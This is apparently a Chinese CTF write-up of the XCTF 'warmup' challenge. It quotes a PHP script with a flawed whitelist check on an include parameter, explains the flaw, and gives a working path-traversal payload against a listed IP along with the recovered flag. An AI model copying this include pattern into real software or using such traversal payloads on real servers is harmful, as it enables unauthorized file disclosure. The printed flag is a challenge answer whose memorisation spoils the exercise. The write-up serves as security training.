文件包含-xctf-warmup

        启动环境,发现只有一个滑稽。也没什么别的信息。f12看下。发现有个source.php。访问下看看。发现一堆代码。审计代码。

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

         highlight_file()就是高亮显示,下面定义了一个public的静态函数checkFile(),$page作为参数。$whitelist = ["source"=>"source.php","hint"=>"hint.php"];这里定义了一个白名单(source.php和hint.php)。看下hint.php发现提示flag在ffffllllaaaagggg中。

    if (! isset($page) || !is_string($page)),这里判断$page参数若未声明或者不是字符串,就会返回you can't see it,并退出。if (in_array($page, $whitelist))这个if预计判断$page若在白名单中,就返回true。

        $_page = mb_substr($page,0,mb_strpos($page . '?', '?'),这里mb_strpos($page . '?', '?')是返回“?”在$page中第一次出现的位置。mb_substr()是截取$page的子字符串,从0到“?”在$page中第一次出现的位置。      

   if (in_array($_page, $whitelist)),若 $_page在白名单里,返回true。 接下来, $_page = urldecode($page);对$_page参数进行一次url解码,然后再判断一次$_page是否在白名单中。若在,返回true,否则输出“you can't see it”,返回false。

   下面这段代码,首先判断请求的参数file是否不为空且是字符串且经过checkfile()函数过滤是否在白名单中。若满足,则包含file,否则输出滑稽图。

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

         绕过思路:以file作为请求的参数(利用file协议),构造payload,满足:

(1)file不为空且在白名单中,或者file参数中的?之前的子字符串在白名单中,也就是说为source.php或者hint.php。

(2)知道ffffllllaaaagggg的路径,或者用“../”进行目录穿越。

        构造payload:http://61.147.171.105:61621/?file=source.php?/../../../../ffffllllaaaagggg

得到flag为:flag{25e7bce6005c4e0c983fb97297ac6e5a}。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值